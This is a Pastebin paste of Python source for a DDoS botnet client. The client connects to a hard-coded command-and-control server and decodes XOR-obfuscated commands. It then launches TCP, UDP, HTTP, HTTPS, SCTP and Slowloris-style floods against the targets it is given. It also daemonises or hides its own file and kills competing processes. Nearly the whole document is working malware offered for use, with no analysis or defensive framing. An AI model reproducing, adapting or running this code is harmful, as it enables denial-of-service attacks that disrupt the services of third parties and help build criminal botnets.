Advertisement
Guest User

gsiuuuuuuuuuuu

a guest
Dec 7th, 2019
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.53 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. import socket, ssl, sys, os, time, random, threading, base64 as b64, requests
  3. #config
  4. cnc = "192.180.119.13"
  5. cport = 6098
  6. single_instance_port = 42026#You should knew this if u used mirai.
  7. key = "asdfghjkloiuytresxcvbnmliuytf"#xor key, don't edit it if u don't know wtf is this
  8.  
  9. useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
  10. "Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
  11. "Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  12. "Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
  13. "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
  14. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
  15. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0",
  16. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
  17. "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  18. "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  19. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
  20. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
  21. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
  22. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
  23. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
  24. "Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
  25. "Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
  26. "Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
  27. "Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
  28. "Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",]
  29.  
  30. acceptall = [
  31. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
  32. "Accept-Encoding: gzip, deflate\r\n",
  33. "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
  34. "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
  35. "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
  36. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
  37. "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
  38. "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
  39. "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
  40. "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
  41. "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
  42. "Accept: text/html, application/xhtml+xml",
  43. "Accept-Language: en-US,en;q=0.5\r\n",
  44. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
  45. "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",]
  46.  
  47. stop = False#threads control
  48.  
  49. def HTTPS(url, path):
  50. global stop
  51. while True:
  52. if stop :
  53. break
  54. try:
  55. r = requests.Session()
  56. if "https://" not in url:
  57. target = "https://" + url
  58. for agent in useragents:
  59. a = acc.split(":")[0]
  60. b = acc.split(":")[1]
  61. headers = {
  62. "User-Agent": agent
  63. }
  64. dat = str(random._urandom(65507) * 30)
  65. data = {
  66. 'None-Type': dat
  67. }
  68. r.delete(target, headers=headers, data=data)
  69. except:
  70. pass
  71.  
  72. def SCTP(ip, port):
  73. global stop
  74. while True:
  75. if stop :
  76. break
  77. try:
  78. sctp_socket = socket.socket(socket.AF_INET, socket.IPPROTO_SCTP)
  79. sctp_socket.sendto(b'\033\011\000', (ip, port))
  80. except:
  81. pass
  82.  
  83.  
  84. def LOADBALENCER(ip, port, timeout):
  85. global stop
  86. while True:
  87. if stop :
  88. break
  89. try:
  90. load_bypasser = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  91. load_bypasser.settimeout(2)
  92. load_bypasser.connect((str(ip), int(port)))
  93. load_bypasser.send(b'\000\000\000\000')
  94. except:
  95. load_bypasser.close()
  96. time.sleep(3)
  97.  
  98. def HTTP(ip, port, path):
  99. global stop
  100. while True:
  101. if stop :
  102. break
  103. get_host = "GET "+path+"?"+str(random.randint(0,50000))+" HTTP/1.1\r\nHost: " + ip + "\r\n"
  104. connection = "Connection: Keep-Alive\r\n"
  105. useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
  106. accept = random.choice(acceptall)
  107. http = get_host + useragent + accept + connection + "\r\n"
  108. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  109. try:
  110. s.connect((str(ip), int(port)))
  111. if port == 443:
  112. s = ssl.wrap_socket(s)
  113. for y in range(100):
  114. s.send(str.encode(http))
  115. #s.close()
  116. except:
  117. s.close()
  118.  
  119. def APACHE(ip, port, path):
  120. global stop
  121. socket_list = []
  122. get_host = "GET "+path+"?"+str(random.randint(0,50000))+" HTTP/1.1\r\nHost: " + ip + "\r\n"
  123. connection = "Connection: Keep-Alive\r\n"
  124. useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
  125. accept = random.choice(acceptall)
  126. header = get_host + useragent + accept + connection
  127. for _ in range(2000):
  128. try:
  129. if stop:#if stop=False then countine
  130. break
  131. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  132. s.connect((str(ip), int(port)))
  133. if port == 443:
  134. s = ssl.wrap_socket(s)
  135. s.send(str.encode(header))
  136. socket_list.append(s)
  137. except:
  138. pass
  139. while True:#loop
  140. if stop:#if stop=False then countine
  141. break
  142. for s in list(socket_list):
  143. try:
  144. s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
  145. except socket.error:
  146. socket_list.remove(s)
  147. for _ in range(2000)-len(socket_list):
  148. try:
  149. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  150. s.connect((str(ip), int(port)))
  151. if port == 443:
  152. s = ssl.wrap_socket(s)
  153. s.send(str.encode(header))
  154. socket_list.append(s)
  155. except:
  156. pass
  157. #go back to line 100
  158.  
  159. def TCP(ip, port):#connection flood
  160. global stop
  161. while True:
  162. if stop :
  163. break
  164. try:
  165. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  166. s.connect((str(ip),int(port)))
  167. if port == 443:
  168. s = ssl.wrap_socket(s)
  169. s.send(("\000" * 200).encode())
  170. s.close()
  171. except:
  172. s.close()
  173.  
  174. def UDP(ip, port):#udp flood(best size is 512-1024, if size too big router may filter it)
  175. global stop
  176. while True:
  177. if stop :
  178. break
  179. udpbytes = random._urandom(65507)
  180. sendip=(str(ip),int(port))
  181. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  182. try:
  183. for y in range(100):
  184. s.sendto(udpbytes, sendip)
  185. s.close()
  186. except:
  187. s.close()
  188.  
  189. def handle(sock):
  190. global stop
  191. attack = 0
  192. sock.send(xor_enc("1337",key).encode())#login code
  193. while True:
  194. tmp = sock.recv(1024).decode()
  195. if len(tmp) == 0:
  196. break#return main loop
  197. #print(tmp)
  198. data = xor_dec(tmp,key)
  199. if data[0] == '~':
  200. try:
  201. command = data.split()
  202. if command[0] == xor_dec('HwcHFg==',key):
  203. if attack != 0:
  204. stop = True
  205. attack=0
  206. stop = False
  207. for x in range(int(command[3])):
  208. p = threading.Thread(target=TCP, args=(command[1],command[2]))
  209. p.start()
  210. attack+=1
  211. elif command[0] == xor_dec('HxsQEhc=',key):
  212. if attack != 0:
  213. stop = True
  214. attack=0
  215. stop = False
  216. for x in range(int(command[3])):
  217. p = threading.Thread(target=HTTP, args =(command[1],command[2],command[4]))
  218. p.start()
  219. attack+=1
  220. elif command[0] == xor_dec('HxIUBwQADw==',key):
  221. if attack != 0:
  222. stop = True
  223. attack=0
  224. stop = False
  225. for x in range(int(command[3])):
  226. p = threading.Thread(target=APACHE, args =(command[1],command[2],command[4]))
  227. p.start()
  228. attack+=1
  229. elif command[0] == xor_dec('HwYAFg==',key):
  230. if attack != 0:
  231. stop = True
  232. attack=0
  233. stop = False
  234. for x in range(int(command[3])):
  235. p = threading.Thread(target=UDP, args =(command[1],command[2]))
  236. p.start()
  237. attack+=1
  238. elif command[0] == xor_dec('Hx8LBwM=',key):
  239. if attack != 0:
  240. stop = True
  241. attack=0
  242. stop = False
  243. for x in range(int(command[3])):
  244. p = threading.Thread(target=LOADBALENCER, args =(command[1],command[2],command[4]))
  245. p.start()
  246. attack+=1
  247. elif command[0] == xor_dec('HwAHEhc=',key):
  248. if attack != 0:
  249. stop = True
  250. attack=0
  251. stop = False
  252. for x in range(int(command[3])):
  253. p = threading.Thread(target=SCTP, args =(command[1], command[2]))
  254. p.start()
  255. attack+=1
  256. elif command[0] == xor_dec('HxsQEhcb',key):
  257. if attack != 0:
  258. stop = True
  259. attack=0
  260. stop = False
  261. for x in range(int(command[3])):
  262. p = threading.Thread(target=HTTPS, args=(command[1], command[2]))
  263. p.start()
  264. attack+=1
  265. elif command[0] == xor_dec('HwAQCRc=',key):
  266. stop = True
  267. attack = 0#clear attack list
  268. elif command[0] == xor_dec('QBgNCgs=',key):
  269. sock.close()
  270. return 1
  271. except:
  272. pass
  273. if data == xor_dec("DBIWDQg=",key):
  274. sock.send(xor_enc("polo",key).encode())
  275. return 0
  276.  
  277. def daemon():#daemon
  278. pid = os.fork()#first fork
  279. if pid:
  280. os._exit(0)
  281. os.chdir('/')
  282. os.umask(0)
  283. os.setsid()
  284. _pid = os.fork()#second fork for careful, prevent the process from opening a control terminal again
  285. if _pid:
  286. os._exit(0)
  287. sys.stdout.flush()#Refresh buffer
  288. sys.stderr.flush()
  289. sys.stdin.close()#off the stdin,stdout,stderr, indeed no need.
  290. sys.stdout.close()#windows can't use this method, only can use pyinstaller's option '--noconsole'
  291. sys.stderr.close()
  292.  
  293. def kill_port(port):#search in google
  294. # find pid
  295. if os.name == "nt":
  296. result = os.popen("netstat -aon | findstr " + str(port))
  297. text = result.read()
  298. gpid = text.strip().split(' ')[-1]
  299. # kill pid
  300. result = os.popen("taskkill -f -pid "+ str(gpid)+" >nul 2>&1")
  301. else:
  302. os.system("fuser -k -n tcp "+str(port))
  303.  
  304. def single_instance():
  305. try:
  306. s = socket.socket()
  307. s.bind(('127.0.0.1',single_instance_port))
  308. s.listen(1)
  309. while True:
  310. global kill
  311. if kill:
  312. break
  313. a, addr = s.accept()
  314. a.close()
  315. except:
  316. try:
  317. kill_port(single_instance_port)
  318. single_instance()
  319. except:
  320. os.system("kill "+os.getppid())
  321. os._exit(0)
  322.  
  323. def conn():
  324. if len(sys.argv) == 1:
  325. if os.name != "nt":
  326. daemon()
  327. else:
  328. os.system("attrib +s +a +h "+sys.argv[0])#hide the file
  329. global kill
  330. kill = False
  331. threading.Thread(target=single_instance,daemon=True).start()
  332. while True:#magic loop
  333. try:
  334. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  335. s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
  336. s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
  337. s.connect((cnc,cport))
  338.  
  339. signal = handle(s)
  340. if signal == 1:
  341. if os.name != "nt":
  342. sys.stdin = open("/dev/stdin")#off the stdin,stdout,stderr, indeed no need.
  343. sys.stdout = open("/dev/stdout")#windows can't use this method, only can use pyinstaller's option '--noconsole'
  344. sys.stderr = open("/dev/stderr")
  345. kill = True
  346. break
  347.  
  348. except:
  349. time.sleep(5)
  350. pass
  351.  
  352. #xor enc part#
  353. def xor_enc(string,key):
  354. lkey=len(key)
  355. secret=[]
  356. num=0
  357. for each in string:
  358. if num>=lkey:
  359. num=num%lkey
  360. secret.append( chr( ord(each)^ord(key[num]) ) )
  361. num+=1
  362.  
  363. return b64.b64encode( "".join( secret ).encode() ).decode()
  364.  
  365. def xor_dec(string,key):
  366.  
  367. leter = b64.b64decode( string.encode() ).decode()
  368. lkey=len(key)
  369. string=[]
  370. num=0
  371. for each in leter:
  372. if num>=lkey:
  373. num=num%lkey
  374.  
  375. string.append( chr( ord(each)^ord(key[num]) ) )
  376. num+=1
  377.  
  378. return "".join( string )
  379.  
  380. if __name__ == '__main__':
  381. # time.sleep(30+random.randint(0,60))
  382. conn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement